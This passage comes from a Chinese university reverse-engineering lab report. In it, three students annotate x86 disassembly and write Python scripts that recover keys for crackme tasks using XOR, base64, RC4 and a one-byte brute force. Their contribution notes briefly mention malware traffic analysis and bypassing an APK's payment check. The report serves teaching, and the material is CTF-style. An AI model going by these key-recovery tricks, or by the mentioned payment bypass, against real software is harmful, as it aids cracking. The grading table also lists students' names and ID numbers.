数组中移动，并在处理每个数据字节时进行交换和异或操作，生成最终的输出。  最后首先将密钥字符串转换为它的 ASCII 数值列表，然后用 rc4\_init 函数初始化 S 数组。  然后，用 rc4\_crypt 函数解密密文。  def rc4\_init(key):  S = list(range(256))  j = 0 for i in range(256):  j = (j + S[i] + key[i % len(key)]) % 256 S[i], S[j] = S[j], S[i]  return S  def rc4\_crypt(S, data):  i = 0 j = 0 out = []  for char in data:  i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i]  out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256]))  return ''.join(out)  secret = "\x6E\xDC\xE5\xE7\xB7\x89\x3C\xC5\x81\xE7\xD0\xB5\xCB\xAA\x91\xDE" rc4key = "I\_am\_not\_the\_flag"  def decrypt\_secret(secret, rc4key):  S = rc4\_init([ord(char) for char in rc4key])  decrypted = rc4\_crypt(S, secret)  return decrypted  print("Decrypted Key:", decrypt\_secret(secret, rc4key))    运行结果为    获取明文密钥  rc4\_is\_v3ry\_e4sy 2.4密钥空间过短 首先分析加密程序，提示用户输入一个密钥（szKey），该密钥应具有确切的长度（63个字符）。然后进行MD5 散列计算：如果密钥长度正确，程序将使用 MD5 算法对密钥进行散列计算，得到一个散列值（szHash）。之后进行散列比较：然后将计算得到的散列值与预定义的 secret 散列值进行比较。之后如果散列值匹配，程序将使用密钥的第二个字符 (szKey[1]) 对一个加密的字符串 (enflag) 进行异或操作来解密它。解密成功后，程序输出格式化的字符串 ctf{}，包含解密的内容。  因为在异或操作时只使用了szKey[1],因此在这里我们可以对szKey[1]的值进行循环爆破  c = [0x64,0x00,0x47,0x47,0x43,0x04,0x46,0x50,0x6B,0x05,0x47,0x6B,0x40,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x6B,0x58,0x04,0x04,0x53,0x15]   for i in range(0,255):  s = "" for c\_s in c:  out = c\_s^i if out > 126 or out < 32:  break s += chr(out)  if out > 126 or out < 32:  continue print(s)  爆破结果为    观察结果发现有P4ssw0rd\_1s\_t00000000000000000000000000000000000000000000\_l00g!字符串看起来像一个有效的密钥，因为其格式符合通常的密钥字符串风格。  利用怀疑的密钥字符串编写解密程序。  通过对每个字节执行异或操作来解密数据。这里将密钥字符转换为其 ASCII 数值，然后与 enflag 中的每个字节进行异或操作。解密的结果是通过列表推导生成的，每个字节解密后转换为字符，然后所有字符合并成一个字符串。  然后提取猜测密钥的第二个字符 (key[1]) 作为解密密钥，编写程序如下  enflag = bytearray([0x64,0x00,0x47,0x47,0x43,0x04,0x46,0x50,0x6B,0x05,0x47,0x6B,0x40,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04, 0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x04, 0x04,0x04,0x04,0x04,0x04,0x04,0x04,0x6B,0x58,0x04,0x04,0x53,0x15])  # Possible keys from brute force output possible\_keys = [  "P4ssw0rd\_1s\_t00000000000000000000000000000000000000000000\_l00g!", ]  def decrypt(enflag, key\_char):  return ''.join(chr(b ^ ord(key\_char)) for b in enflag)  # Use second character from each key to decrypt for key in possible\_keys:  decrypted\_flag = decrypt(enflag, key[1])  print(f"Using key '{key[1]}' from \"{key}\": {decrypted\_flag}")  运行结果为    成功获取明文密钥  P4ssw0rd\_1s\_t000000000000000000000000000000000000000000\_l00g! 3.贡献 编译源程序，源程序加壳，源程序脱壳，IDA分析脱壳后程序  分析wireshark恶意代码从公网下载信息和向公网上传的信息  对qiantang.apk的逆向分析。  对rps.apk的动态逆向分析  对signed.apk和jstz.apk的逆向分析 4.体会 本周实验的前四天难度并不大，只要根据上课讲的内容即可成功复现出每个任务的结果，第五天的任务二难度比较大，因为先前并没有接触Java，所以在完成该部分的任务时会有些吃力，并且在配置环境的过程中也出现了不小的障碍。在完成后面三天的任务时比较有趣，因为在尝试了各种工具之后使用了各种方法最后成功夺取到flag时会有不小的成就感。  在本周的实验中学习到了基本的Android程序逆向分析方法，结合多种逆向框架进行基础的逆向分析，hook。在实际操作的过程中也能够比较熟练的使用jadx、ida等逆向工具。 刘竞优1.任务一 分析给出的汇编代码，对其进行注释如下。  1. .text:080484EB public vuln  2. .text:080484EB vuln proc near ; CODE XREF: main+16↓p 标识函数的起始位置  3. .text:080484EB  4. .text:080484EB var\_10 = dword ptr -10h ;定义了函数内部的局部变量。这个函数使用了四个变量，它们的分配在栈上，被分别命名为var\_10、var\_C、var\_8和var\_4  5. .text:080484EB var\_C = dword ptr -0Ch  6. .text:080484EB var\_8 = dword ptr -8  7. .text:080484EB var\_4 = dword ptr -4  8. .text:080484EB  9. .text:080484EB ; \_\_unwind {  10. .text:080484EB push ebp ;设置了函数的堆栈帧,将当前的基址指针（ebp）压入堆栈  11. .text:080484EC mov ebp, esp ;将栈顶指针（esp）的值赋给ebp，作为新的栈底指针  12. .text:080484EE sub esp, 10h ;将栈顶指针向下移动16个字节（0x10h），创建该函数的栈，为局部变量腾出空间。  13. .text:080484F1 mov [ebp+var\_10], 0Ah ;初始化局部变量 var\_10=0x0A，var\_4=var\_C=0。  14. .text:080484F8 mov [ebp+var\_4], 0  15. .text:080484FF mov [ebp+var\_C], 0  16. .text:08048506 jmp short loc\_804851D ;跳转到line28  17. .text:08048508 ; ---------------------------------------------------------------------------  18. .text:08048508  19. .text:08048508 loc\_8048508: ; CODE XREF: vuln+38↓j  20. .text:08048508 add [ebp+var\_4], 1 ;此函数功能为将var\_4的值加1，然后将其与5进行比较  21. .text:0804850C cmp [ebp+var\_4], 5 ;如果var\_4小于等于5，则跳转到标记为loc\_8048519的位置。否则，将0x2C赋给var\_8。  22. .text:08048510 jle short loc\_8048519  23. .text:08048512 mov [ebp+var\_8], 2Ch  24. .text:08048519  25. .text:08048519 loc\_8048519: ; CODE XREF: vuln+25↑j  26. .text:08048519 add [ebp+var\_C], 1 ;将var\_C的值加1，然后将其与var\_10进行比较  27. .text:0804851D  28. .text:0804851D loc\_804851D: ; CODE XREF: vuln+1B↑j  29. .text:0804851D mov eax, [ebp+var\_C]  30. .text:08048520 cmp eax, [ebp+var\_10]  31. .text:08048523 jl short loc\_8048508 ;如果var\_C小于var\_10，则跳转到标记为loc\_8048508的位置，继续循环。否则，跳出循环。  32. .text:08048525 mov eax, [ebp+var\_8] ;将var\_8的值加载到eax寄存器中。然后，leave指令恢复堆栈帧，retn指令从函数中返回。  33. .text:08048528 leave  34. .text:08048529 retn  35. .text:08048529 ; } // starts at 80484EB  36. .text:08048529 vuln endp  37.  写出反编译的C代码  1. int vuln() {  2. int var\_10 = 0x0A;  3. int var\_C = 0;  4. int var\_8 = 0;  5. int var\_4 = 0;  6.  7. while (var\_C < var\_10) {  8. var\_4++;  9. if (var\_4 > 5) {  10. var\_8 = 0x2C;  11. }  12. var\_C++;  13. }  14.  15. return var\_8;  16. }  17. 2.任务二2.1 key简单变换 分析源码，可以得到加密的过程只是对输入的每个字符与其索引进行异或操作，因为异或操作是可逆的，那么我们只需要对secret进行同样的异或操作即可得到要输入的key。  1. secret = b"\x58\x31\x70\x5C\x35\x76\x59\x69\x38\x7D\x55\x63\x38\x7F\x6A"  2.  3. szKey = ""  4. for i in range(len(secret)):  5.     szKey += chr(secret[i] ^ i)  6.  7. print("key:", szKey)  8.  运行得到key，并将key传递给源程序，可以得到flag   2.2 key编码转换 分析源程序，可以知道只是对输入的key进行一次base64编码，那么我们对secret进行一次base64解码即可得到key。  import base64    secret = "QjRzZTY0X2k1X2MwbW1vbg=="    def base64\_decode(data):      decoded\_bytes = base64.b64decode(data)      decoded\_string = decoded\_bytes.decode()      return decoded\_string    decoded\_secret = base64\_decode(secret)  print("Decoded Secret:", decoded\_secret)    运行得到key   2.3 key密钥加密 分析源程序，可以知道只是对输入的key进行简单的RC4加密，由于RC4加密算法是一种对称加密算法，只需要将secret再次进行RC4加密即可得到key，这里直接让chatgpt生成一个简易的RC4加密算法，可以看到能够得到key。  1. def KSA(key):  2.     key\_length = len(key)  3.     S = list(range(256))  4.     j = 0  5.     for i in range(256):  6.         j = (j + S[i] + key[i % key\_length]) % 256  7.         S[i], S[j] = S[j], S[i]  8.     return S  9.  10. def PRGA(S):  11.     i = 0  12.     j = 0  13.     while True:  14.         i = (i + 1) % 256  15.         j = (j + S[i]) % 256  16.         S[i], S[j] = S[j], S[i]  17.         K = S[(S[i] + S[j]) % 256]  18.         yield K  19.  20. def RC4(key):  21.     def encrypt(data):  22.         data\_length = len(data)  23.         keystream = PRGA(KSA(key))  24.         res = [next(keystream) ^ data[i] for i in range(data\_length)]  25.         return bytes(res)  26.  27.     def decrypt(data):  28.         return encrypt(data)  29.  30.     return encrypt, decrypt  31.  32. def main():  33.     key = b'I\_am\_not\_the\_flag'  34.     encrypt\_func, decrypt\_func = RC4(key)  35.     encrypted\_data = b"\x6E\xDC\xE5\xE7\xB7\x89\x3C\xC5\x81\xE7\xD0\xB5\xCB\xAA\x91\xDE"  36.     decrypted\_data = decrypt\_func(encrypted\_data)  37.     print('Decrypted Data:', decrypted\_data)  38.  39. if \_\_name\_\_ == '\_\_main\_\_':  40.     main()  41.  运行得到key   2.4 密钥空间过短 分析源程序，可以知道是对输入的key进行MD5哈希，由于MD5是单向的，直接对密钥进行逆向计算是非常困难的，因此我们对密文逐字节进行异或操作，并将结果解析为字符，然后输出可能的密钥。  1. import string  2.  3. c = [0x64, 0x00, 0x47, 0x47, 0x43, 0x04, 0x46, 0x50, 0x6B, 0x05, 0x47, 0x6B, 0x40, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x6B, 0x58, 0x04, 0x04, 0x53, 0x15]  4.  5. for i in range(256):  6.     try:  7.         s = ''.join(chr(c\_s ^ i) for c\_s in c)  8.         if all(char in string.printable for char in s):  9.             print(s)  10.     except ValueError:  11.         continue  运行得到可能的key，比较可能的密钥应该是  P4ssw0rd\_1s\_t00000000000000000000000000000000000000000000\_l00g!   3.贡献 编写python脚本获取flag，start程序后门账号分析，netstat分析start程序端口返回内容，seh.apk逆向分析并绕过支付，rps.apk静态逆向分析和绕过。 4.体会 本周的实验重点在于逆向工具的学习和使用，前两天学习了程序加壳脱壳的相关知识，了解了壳的特点， 为后面的学习奠定了基础。后面三天关于Android逆向的学习很有趣，因为之前没有接触过Android应用程序的逆向，这次学习学到了Android程序的结构，学习了插桩技术，并且将各种逆向工具都熟悉了一遍，遗憾的是unidbg工具的中文教程不多，加上对js语言不熟悉，只是将unidbg自带的示例学习了一下，最终也没有将unidbg成功使用在第五天的目标程序上。 张竣尧1.任务一 首先来分析一下，这个函数叫做vuln  在函数开头定义了4个4字节的变量，盲猜int类型，这里假设为a，b，c，d。proc near进行main+16的操作，也就是unwind为调用入口，进来之后进行栈帧操作。下来赋值，a=10，b=0，d=0。  跳转到804851d分析：比较b和a的大小，如果b<a跳转到8048508，否则将c放到eax中作为函数返回值  跳转到8048508分析：d+1，比较d<=5跳转到8048519，否则令c=44  跳转到8048519分析：b++，之后继续执行804851d（判断b，a）  这里我们就可以发现804851d+8048508就是个循环，当b<a=10时，b++，在其中先对d++，之后如果d<=5则不做任何事情，否则就给c=44，作为返回值  伪c代码如下：  void vuln() {  int var\_10 = 0x0A;  int var\_4 = 0;  int var\_8=0;  int var\_C = 0;  for(var4; var\_4 < var\_10; var\_4++){  if (var\_4 <= 5) {  var\_C++;  }else{  Var\_8=0x2c;}  }  Return var\_8;  } 2.任务二 这个非常简单，我们只需要进行异或运算即可，脚本及代码如下    第二个就是个Base64变换，我们直接拖到工具里面解密就行    第三个，程序里面很明显的提示了RC4加密，而且给了密钥“I\_am\_not\_flag”我们还是从简放到网站里解密即可    最后一个会稍微麻烦一点，因为源代码是要经过hash运算的，逆不了一点，但是我们发现enflag最终异或利用到的只有一位，而且大小只有1个字节，我们直接从0-255进行爆破测试，最终得到结果   贡献 编写c代码对算法逆向进行解密，使用工具对虚拟机中srtart.exe等恶意样本进行行为监控管理，使用jeb、MT管理器等对安卓apk进行整体代码分析 4.体会 这次试验的内容主要包括：逆向基础如x86和smail汇编指令等，还涉及到了加壳脱壳、病毒样本分析等内容。内容相比上周来说，并没有太跨越的知识，但是深度更深，之前在软件安全课程中学到的内容也进行横向拓展到了安卓系统上面。特别是安卓逆向，因为没有java基础，仅仅靠着之前的移动平台操作系统课程的说明来慢慢摸索，一时间非常难以接受。此外，中间实验过程中用到的工具也非常之多，语言环境、模拟器、hook框架等等，直接干下十几个G的空间，种类之多也是令人眼花缭乱。虽然有点赶鸭子上架的味道，但还总算是对某些工具有了一定的熟练度，希望下周不要再下这么多工具了QAQ。 | | | | | |
| 教师评语 | | | | | |
|  | | | | | |
| **教师评分（请填写好姓名、学号）** | | | | | |
| 姓名 | | 学号 | | 分数 | |
| 赵伯俣 | | 2021302181156 | |  | |
| 刘竞优 | | 2021302181057 | |  | |
| 张竣尧 | | 2021302181004 | |  | |
| 教师签名：  2024年 5月 日 | | | | | |